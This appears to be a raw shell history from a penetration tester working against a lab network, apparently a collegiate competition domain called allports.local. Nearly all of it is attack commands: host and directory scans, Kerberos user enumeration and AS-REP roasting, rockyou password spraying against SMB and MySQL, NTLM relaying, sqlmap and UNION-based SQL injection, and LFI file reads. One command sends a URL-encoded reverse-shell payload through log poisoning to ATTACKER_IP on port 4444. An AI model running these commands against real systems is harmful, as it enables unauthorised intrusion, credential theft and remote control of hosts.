ldapdomaindump -n 10.0.1.6 ALLPORTS.LOCAL
ldapsearch -h
ldapsearch -D 10.0.1.6
ldapsearch -p 10.0.1.6
ldapsearch -b 10.0.1.6
crackmapexec
crackmapexec smb 10.0.1.6
crackmapexec smb 10.0.1.6 --relay -h
nmap -Pn -sC -sV 10.0.1.21
netexec smb 10.0.1.21
netexec smb 10.0.1.20
sudo nano /etc/hosts
nmap -Pn -sC -sV 10.0.1.11
nmap -Pn -sC -sV 10.0.1.20
nmap -Pn -sC -sV 10.0.1.30
nmap -Pn -sC -sV 10.0.1.20
nmap -Pn -sC -sV 10.0.1.21
nmap -Pn -sC -sV 10.0.1.6
msfconsole
nmap -Pn -sC -sV 10.0.1.99
nmap -Pn -sC -sV 10.0.254.207


_raw: : 1762013886:0;nxc smb 10.0.1.6 -u 'ctorres' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762013867:0;nxc smb 10.0.1.6 -u 'epeterson' -p /usr/share/wordlists/rockyou.txt --ignore-pw-de


_raw: : 1762013860:0;nxc smb 10.0.1.6 -u 'epeterson' -p /usr/share/wordlists/rockyou.txt


_raw:
ls
cat password.txt
cd /
ls
cd home
ls
cd pentester
ls
passwd
ls
cat password.txt
nmap -sC -sV -sS 10.0.1.21
nmap -pn 10.0.1.21
nmap -pn- 10.0.1.21
sudo nmap -pn 10.0.1.21
nmap -sn 10.0.1.21
nmap -sC -sV -sn 10.0.1.21
nmap -sC -sV -sN 10.0.1.21
ping 10.0.1.21
nmap -Pn 10.0.1.21
nmap -Pn -A 10.0.1.21
nmap -Pn 10.0.1.20
ping 10.0.1.20
sudo nmap -sC -sV 10.0.1.20
sudo nmap -sC -sV 10.0.1.21
vim etc/hosts
sudo vim /etc/hosts
smbclient -L \\\10.0.1.20\\
smbclient -L \\\10.0.1.21\\
smbclient -L \\\10.0.1.20\\ -U 'Deckhand-01'
smbclient -L \\\10.0.1.20\\ -U 'Deckhand-01.allports.local'
smbclient -L \\\10.0.1.20\\ -U ''
smbclient -L \\\10.0.1.20\\ -U 'guest'
smbclient -L \\\10.0.1.20\\ -U 'admin'
smbclient -L \\\10.0.1.20\\ -U 'guest' -p ''
sudo nmap -p- -sV 10.0.1.30
ssh guest@10.0.1.30
ssh 10.0.1.30
http://10.0.1.30:8096
ssh 10.0.1.30
ls
cd /
ls
cd usr/share
ls
cd wordlists
ls
gunzip rockyou.txt
sudo gunzip rockyou.txt
ls
cd /
ls
cd home
cd pentester
ls
john -h
ls
ssh PortCast@10.0.1.30
ls
cd Desktop
ssh admin@10.0.1.30
ssh administrator@10.0.1.30
ls
john --wordlist=/usr/share/wordlists/rockyou.txt id.txt
john --wordlist=///rockyou.txt id.txt
john id.txt
ls
cd tmp
ls
cd /
ls
cd opt
ls
cd /
ls
cd tmp
ls
vim et
vim etc/hosts
vim etc/hosts/
ls
cd /
ls
cd etc
cd hosts
cd host
ls
vim hosts


_raw: : 1762013784:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762013724:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762013719:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt | awk '/VALID USERNAME/ {print $4}' | cut -d '@' -f 1


_raw: : 1762013595:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All -d allports.local --dns-server 10.0.1.6


_raw:
searchsploit openssh 8.9p1
searchsploit openssh 7.2
searchsploit openssh 8.9
nmap -Sv 10.0.1.21
nmap -sV 10.0.1.21
dirbuster 10.0.1.21:5985
dirb 10.0.1.21:5985
dirb http://10.0.1.21:5985
dirb http://10.0.1.21:5986
dirb http://10.0.1.21
dirb http://10.0.1.99/
nmap 10.0.1.6 -sV
searchsploit ms-wbt-server
searchsploit smb
searchsploit microsoft-ds
searchsploit smb
searchsploit Microsoft Windows SMB
[200~smbclient -L 10.0.1.6 -N
smbclient -L 10.0.1.6 -N
crackmapexec smb 10.0.1.6\
enum4linux -a 10.0.1.6\
enum4linux --help
enum4linux -a 10.0.1.6 -w allports.local
smbclient -L 10.0.1.6 -N
searchsploit Windows Server 2022
nmap -p 445 --script smb-os-discovery,smb-protocols 10.0.1.6\
msfconsole
searchsploit Windows Server 2022
searchsploit Microsoft Windows SMB
searchsploit eternal
msfconsole
smbclient -L 10.0.1.6 -N\
searchsploit SMBGhost
msfconsole
nmap -p 445 --script smb-vuln-ms17-010 10.0.1.6\
msfconsole
msf6
msfconsole
nmap -p 80 --script dos_iis_2022_21907
nmap -p 80 --script clear
nmap -p 80 --script /home/pentester/Downloads/dos_iis_2022_21907.nse
nmap 10.0.1.6 -p 80 --script /home/pentester/Downloads/dos_iis_2022_21907.nse
nmap 10.0.1.6 -sV --script /home/pentester/Downloads/dos_iis_2022_21907.nse
nmap 10.0.1.6 -sV --script /home/pentester/Downloads/dos_iis_2022_21907.nse -p 6985
nmap 10.0.1.6 -sV --script /home/pentester/Downloads/dos_iis_2022_21907.nse -p 6986
nmap 10.0.1.6 -sV --script /home/pentester/Downloads/dos_iis_2022_21907.nse -p 5985
nmap 10.0.1.6 -sV --script /home/pentester/Downloads/dos_iis_2022_21907.nse -p 5986


_raw: : 1762013500:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt | awk '/VALID USERNAME/ {print $4}' | cut -d '@' -f 1 > valid_usernames.txt


_raw: : 1762013493:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All -d allports.local -h


_raw: : 1762013474:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All -d allports.local


_raw: : 1762013424:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762013333:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762013324:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -v


_raw:
: 1762013262:0;for u in admin test user guest web root webadmin administrator boatgps sysadmin netadmin; do\
  echo "Trying $u";\
  mysql -h 10.0.1.15 -P 3306 -u $u --password='anchor2024' --skip-ssl -e "SELECT USER();" && break;\
done\


_raw:
: 1762013247:0;for u in admin test user guest web root webadmin administrator sysadmin netadmin; do\
  echo "Trying $u";\
  mysql -h 10.0.1.15 -P 3306 -u $u --password='anchor2024' --skip-ssl -e "SELECT USER();" && break;\
done\


_raw:
ifconfig
impacket-mssqlclient sa@10.0.1.15
curl "http://10.0.1.15/page.php?id=1' UNION SELECT 1,version(),user()-- -
impacket-mssqlclient sa@10.0.1.15
nc -vn target.com 3306
nc -vn 10.0.1.15 3306
nc -sv 10.0.1.15 3306
nc -sV 10.0.1.15 3306
nmap -sC -sV -p3306 10.0.1.15
telnet 10.0.1.15 3306
telnet target.com 3306
telnet 10.0.1,15 3306
telnet 10.0.1.15 3306
msfconsole


_raw:
: 1762013223:0;for u in admin test user guest web root webadmin administrator sysadmin netadmin; do\
  echo "Trying $u";\
  mysql -h 10.0.1.15 -P 3306 -u $u --password='' --skip-ssl -e "SELECT USER();" && break;\
done\


_raw:
: 1762013212:0;for u in admin test user guest web root webadmin administrator sysadmin netadmin; do\
  echo "Trying $u";\
  mysql -h 10.0.1.15 -P 3306 -u $u --password='' --ssl-skip -e "SELECT USER();" && break;\
done\


_raw:
: 1762013200:0;for u in admin test user guest web root webadmin administrator sysadmin netadmin; do\
  echo "Trying $u";\
  mysql -h 10.0.1.15 -P 3306 -u $u --password='' --ssl-mode=DISABLED -e "SELECT USER();" && break;\
done\


_raw: : 1762013183:0;nxc smb 10.0.1.21 -u ".\administrator" -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762013159:0;nxc smb 10.0.1.21 -u "\.administrator" -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762013152:0;nxc smb 10.0.1.21 -u "\.administrator" -p /usr/share/wordlists/rockyou.txt


_raw: : 1762013092:0;nxc smb 10.0.1.21 -u ".\Administrator" -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762013067:0;nxc smb 10.0.1.21 -d local -u "Administrator" -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762013051:0;hydra -L users.txt -P passwords.txt mysql://10.0.1.15


_raw:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-01 12:03 EDT\
Nmap scan report for 10.0.1.15\
Host is up (0.0090s latency).\
\
PORT     STATE SERVICE\
3306/tcp open  mysql\
| mysql-enum: \
|   Valid usernames: \
|     admin:<empty> - Valid credentials\
|     test:<empty> - Valid credentials\
|     user:<empty> - Valid credentials\
|     guest:<empty> - Valid credentials\
|     web:<empty> - Valid credentials\
|     root:<empty> - Valid credentials\
|     webadmin:<empty> - Valid credentials\
|     administrator:<empty> - Valid credentials\
|     sysadmin:<empty> - Valid credentials\
|     netadmin:<empty> - Valid credentials\
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0\
| mysql-brute: \
|   Accounts: No valid accounts found\
|_  Statistics: Performed 50009 guesses in 19 seconds, average tps: 2632.1\
| mysql-info: \
|   Protocol: 10\
|   Version: 5.7.44\
|   Thread ID: 786\
|   Capabilities flags: 65535\
|   Some Capabilities: LongPassword, Speaks41ProtocolNew, ODBCClient, ConnectWithDatabase, IgnoreSigpipes, DontAllowDatabaseTableColumn, LongColumnFlag, Speaks41ProtocolOld, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, Support41Auth, SupportsTransactions, InteractiveClient, SwitchToSSLAfterHandshake, SupportsCompression, FoundRows, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults\
|   Status: Autocommit\
|   Salt: -&K\x0E9* ]\x0F6\x14QQS0\x18Z\x12&J\
|_  Auth Plugin Name: mysql_native_password\
\
Nmap done: 1 IP address (1 host up) scanned in 19.28 seconds\


_raw:
help
search CVE-2021-44790
vsearch CVE-2021-44790
exit


_raw:
: 1762012947:0;# access.log (base64)\
curl -s "http://10.0.1.15:8080/info.php?file=php://filter/convert.base64-encode/resource=/var/log/apache2/access.log" \\
  | sed -n '1,200p' | sed -n 's/.*<pre>//;s/<\/pre>.*//' | tr -d '\n' | base64 -d | sed -n '1,120p'\
\
# access.log.1\
curl -s "http://10.0.1.15:8080/info.php?file=php://filter/convert.base64-encode/resource=/var/log/apache2/access.log.1" \\
  | sed -n '1,200p' | sed -n 's/.*<pre>//;s/<\/pre>.*//' | tr -d '\n' | base64 -d | sed -n '1,120p'\
\
# error.log\
curl -s "http://10.0.1.15:8080/info.php?file=php://filter/convert.base64-encode/resource=/var/log/apache2/error.log" \\
  | sed -n '1,200p' | sed -n 's/.*<pre>//;s/<\/pre>.*//' | tr -d '\n' | base64 -d | sed -n '1,120p'\


_raw: : 1762012945:0;nxc smb 10.0.1.21 -u "Administrator" -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762012938:0;nxc smb 10.0.1.21 -u "Administrator" -p /usr/share/wordlists/rockyou.txt


_raw: : 1762012936:0;nxc smb 10.0.1.21 -u "Administrator" -p /usr/share/wordlists/rockyou.txt -v


_raw:
: 1762012918:0;curl -s "http://10.0.1.15:8080/info.php?file=php://filter/convert.base64-encode/resource=/etc/apache2/sites-available/000-default.conf" \\
  | sed -n '1,200p' | sed -n 's/.*<pre>//;s/<\/pre>.*//' | tr -d '\n' | base64 -d


_raw: : 1762012879:0;nmap -p 445 --script=smb-enum-shares,smb-os-discovery 10.0.1.21


_raw:
: 1762012853:0;# URL-encoded one-liner to run on target via your LFI RCE\
curl -s "http://10.0.1.15:8080/info.php?file=/var/log/apache2/access.log&cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%204%3E%261%20%7C%20nc%20ATTACKER_IP%204444%20%3E%2Ftmp%2Ff"\


_raw:
: 1762012835:0;curl -s "http://10.0.1.15:8080/info.php?file=php://filter/convert.base64-encode/resource=/var/log/apache2/access.log" \\
  | sed -n '1,200p' | sed -n 's/.*<pre>//;s/<\/pre>.*//' | tr -d '\n' | base64 -d | sed -n '1,120p'\


_raw:
: 1762012796:0;curl -s "http://10.0.1.15:8080/info.php?file=php://filter/convert.base64-encode/resource=/var/www/html/config.php" \\
  | sed -n '1,200p' | sed -n 's/.*<pre>//;s/<\/pre>.*//' | tr -d '\n' | base64 -d


_raw: : 1762012769:0;nxc smb 10.0.1.21 -u "administrator" -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding


_raw: : 1762012757:0;nxc smb 10.0.1.21 -u "administrator" -p /usr/share/wordlists/rockyou.txt


_raw: : 1762012755:0;nxc smb 10.0.1.21 -u "administrator" -p /usr/share/wordlists/rockyou.txt -v


_raw:
cd /usr/share
ls
cd wordlists
ls
ls -al
df -h
cd
clear
exit


_raw: : 1762012683:0;GetNPUsers.py allports.local/ -usersfile /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -no-pass -dc-ip 10.0.1.21


_raw:
cat 10.0.1.10_scan
ssh admin@10.0.1.10
exi
exit


_raw: : 1762012671:0;GetNPUsers.py allports.local/ -usersfile /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt --no-pass -dc-ip 10.0.1.21


_raw:
: 1762012669:0;# Works for most modern Linux distros:\
curl -fsSL https://www.mongodb.org/static/pgp/server-7.0.asc | sudo gpg --dearmor -o /usr/share/keyrings/mongodb.gpg && \\
echo "deb [signed-by=/usr/share/keyrings/mongodb.gpg] https://repo.mongodb.org/apt/ubuntu $(lsb_release -cs)/mongodb-org/7.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-7.0.list && \\
sudo apt update && sudo apt install -y mongodb-mongosh\


_raw: : 1762012658:0;GetNPUsers.py allports.local/ usersfile /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt --no-pass -dc-ip 10.0.1.21


_raw: : 1762012608:0;python3 -m pip install impacket


_raw: : 1762012598:0;python3 -m pipx install impacket


_raw: : 1762012567:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All -d allports.local --dc-list 10.0.1.6


_raw: : 1762012558:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All -d allports.local --dc-list APT-DC-01


_raw: : 1762012532:0;kerbrute userenum --dc 10.0.1.21 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -v


_raw: : 1762012515:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All -d allports.local --dc-list APT-DC-01.allports.local


_raw: : 1762012502:0;kerbrute userenum -d allports.local --dc 10.0.1.21 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -v


_raw: : 1762012475:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All -d allports.local


_raw: : 1762012474:0;kerbrute userenum --dc 10.0.1.21 -d allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762012451:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All --kdcHost APT-DC-01.allports.local


_raw: : 1762012338:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All -h


_raw: : 1762012316:0;nxc ldap 10.0.1.6 -u '' -p '' --bloodhound --collection All


_raw: : 1762012254:0;python3 funny.py | grep -i notes


_raw: : 1762012150:0;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u "http://10.0.1.30:8096"


_raw: : 1762012121:0;dirb http://10.0.1.30:8096 /usr/share/wordlists/dirb/common.txt


_raw: : 1762011940:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.21 -c 'whoami /all' -debug


_raw: : 1762011896:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 -c 'whoami /all' -debug


_raw: : 1762011896:0;gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r


_raw: : 1762011891:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.6 -c 'whoami /all' -debug


_raw: : 1762011883:0;gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r


_raw: : 1762011791:0;nxc ldap 10.0.1.6 -u 'guest' -p 'guest' --local-auth -M ldap-checker


_raw:
: 1762011790:0;sqlmap -u "http://10.0.1.15:8080/api/load_routes.php?action=load&id=*" \\
  --dbms=mysql --level=5 --risk=3 --technique=BEUSTQ \\
  --random-agent --batch\


_raw: : 1762011781:0;nxc ldap 10.0.1.6 -u 'guest' -p 'guest' -M ldap-checker


_raw: : 1762011707:0;smbclient -L //allports.local -N


_raw:
: 1762011655:0;sqlmap -u "http://10.0.1.15:8080/api/load_routes.php?action=load&id=1" \\
  -p id --dbms=mysql --level=5 --risk=3 --technique=BEUSTQ \\
  --random-agent --batch --flush-session --fresh-queries \\
  --banner --current-user --current-db --is-dba\


_raw: : 1762011621:0;kerbrute userenum -d allports.local --dc 10.0.1.21 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1762011578:0;mv kerbrute_linux_amd64 /usr/local/bin/kerbrute


_raw: : 1762011392:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'Administrator'


_raw: : 1762011340:0;gobuster dir -u https://10.0.1.14 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762011327:0;gobuster dir -u https://10.0.1.14 -w /usr/share/wordlisDts/dirb/common.txt


_raw: : 1762011312:0;gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirb/common.txt


_raw:
: 1762011216:0;sqlmap -u 'http://10.0.1.15:8080/api/save_route.php' \\
  --method=POST \\
  --headers='Content-Type: application/json' \\
  --data='{"route_name":"test","waypoints":["A","B"],"total_distance":10,"estimated_time":0.5,"weather_data":"{}","notes":"test","created_by":"Captain"}' \\
  -p notes \\
  --dbms=mysql --level=3 --risk=2 --batch --threads=5 \\
  --banner --current-user --current-db --is-dba


_raw:
: 1762011185:0;sqlmap -u 'http://10.0.1.15/api/save_route.php' \\
  --method=POST \\
  --headers='Content-Type: application/json' \\
  --data='{"route_name":"test","waypoints":["A","B"],"total_distance":10,"estimated_time":0.5,"weather_data":"{}","notes":"test","created_by":"Captain"}' \\
  -p notes \\
  --dbms=mysql --level=3 --risk=2 --batch --threads=5 \\
  --banner --current-user --current-db --is-dba


_raw:
: 1762011170:0;sqlmap -u 'https://10.0.1.15/api/save_route.php' \\
  --method=POST \\
  --headers='Content-Type: application/json' \\
  --data='{"route_name":"test","waypoints":["A","B"],"total_distance":10,"estimated_time":0.5,"weather_data":"{}","notes":"test","created_by":"Captain"}' \\
  -p notes \\
  --dbms=mysql --level=3 --risk=2 --batch --threads=5 \\
  --banner --current-user --current-db --is-dba


_raw:
: 1762011145:0;sqlmap -u 'https://TARGET/api/save_route.php' \\
  --method=POST \\
  --headers='Content-Type: application/json' \\
  --data='{"route_name":"test","waypoints":["A","B"],"total_distance":10,"estimated_time":0.5,"weather_data":"{}","notes":"test","created_by":"Captain"}' \\
  -p notes \\
  --dbms=mysql --level=3 --risk=2 --batch --threads=5 \\
  --banner --current-user --current-db --is-dba


_raw:
: 1762011105:0;[200~sqlmap -u 'https://TARGET/api/save_route.php' \\
  --method=POST \\
  --headers='Content-Type: application/json' \\
  --data='{"route_name":"test","waypoints":["A","B"],"total_distance":10,"estimated_time":0.5,"weather_data":"{}","notes":"test","created_by":"Captain"}' \\
  -p notes \\
  --dbms=mysql --level=3 --risk=2 --batch --threads=5 \\
  --banner --current-user --current-db --is-dba


_raw: : 1762011031:0;gobuster dir -u http://proxy-cptc11-apps-room-console-cmiller-infra-readiness -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -b 400,404


_raw: : 1762011019:0;gobuster dir -u http://proxy-cptc11-apps-room-console-cmiller-infra-readiness -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r -b 400,404


_raw: : 1762011016:0;gobuster dir -u http://proxy-cptc11-apps-room-console-cmiller-infra-readiness -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r -b 400


_raw: : 1762011004:0;gobuster dir -u http://proxy-cptc11-apps-room-console-cmiller-infra-readiness -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r --help | grep -i status


_raw: : 1762010999:0;gobuster dir -u http://proxy-cptc11-apps-room-console-cmiller-infra-readiness -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r --help


_raw: : 1762010905:0;gobuster dir -u http://proxy-cptc11-apps-room-console-cmiller-infra-readiness -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r -k


_raw: : 1762010856:0;nxc wmi 10.0.1.21 -u Administrator -p '' --local-auth


_raw:
: 1762010855:0;curl -sS "http://10.0.1.15:8080/info.php" -o info.php.html\
\
# Quick greps\
grep -i "DOCUMENT_ROOT" -n info.php.html || true\
grep -i "disable_functions" -n info.php.html || true\
grep -i "allow_url_include" -n info.php.html || true\
grep -i "allow_url_fopen" -n info.php.html || true\
grep -i "user" -n info.php.html || true\
grep -i "Loaded Configuration File" -n info.php.html || true


_raw: : 1762010852:0;nxc wmi 10.0.1.20 -u Administrator -p '' --local-auth


_raw: : 1762010848:0;nxc wmi 10.0.1.6 -u Administrator -p '' --local-auth


_raw: : 1762010811:0;dirb http://10.0.1.20:3389 /usr/share/wordlists/dirb/common.txt


_raw: : 1762010805:0;dirb http://10.0.1.20:5986 /usr/share/wordlists/dirb/common.txt


_raw: : 1762010795:0;dirb http://10.0.1.20:5985 /usr/share/wordlists/dirb/common.txt


_raw: : 1762010705:0;sudo apt install flameshot


_raw:
netexec smb 10.0.254.101 -u '' -p '\
ls\
quit
netexec smb 10.0.254.101 -u 'guest' -p ''
netexec smb 10.0.254.0/24 -u '' -p '' --shares
netexec smb 10.0.254.0/24
ls
cd ..
ls
rm Northeastern-University
rm -r Northeastern-University
nmap -sn 10.0.0.0/16 -oG live_hosts.txt